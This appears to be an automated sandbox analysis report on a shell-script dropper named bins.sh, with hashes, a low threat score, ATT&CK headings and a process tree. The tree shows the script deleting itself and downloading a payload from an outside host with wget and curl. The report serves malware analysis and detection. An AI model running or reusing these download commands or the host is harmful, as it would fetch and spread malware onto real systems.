7342b014356a9d5553caf8076aa25c9e94846f563260b0e4777bcce77ca62eaf

Analysis

max time kernel
149s
max time network
131s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
10/12/2024, 16:52

Target
bins.sh
Size 10KB
Sample241210-vdd3vsvrgm
SHA256 7342b014356a9d5553caf8076aa25c9e94846f563260b0e4777bcce77ca62eaf
MD5 04b0aa80fd5dbe2a2c5aba032f1080a4
SHA1 b323e443493c9833347bac801450e2835febde15
SHA512 f8058a40bf2ae4e4d453e20f3214bd5205bf15a984a53ae21b6690a0e3c8fba6bf1bf76ad4560a7208ea3dcd7715b7551fbea624de4dfe4597ece8f6bd8f7376
SSDEEP 192:7bxZiPr/Hfi1ZKbrotcQoRmENsirjE597xZiPr7R1ZKbr2QoRmENLrjE59f:7bxZiPrffi1ZKbrotjirjE597xZiPrdY
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

discovery

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

System Network Configuration Discovery

pid	Process
1490	wget
1494	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1486
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1489
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
  2⤵
  - System Network Configuration Discovery
  PID:1490
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
  2⤵
  - System Network Configuration Discovery
  PID:1494

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact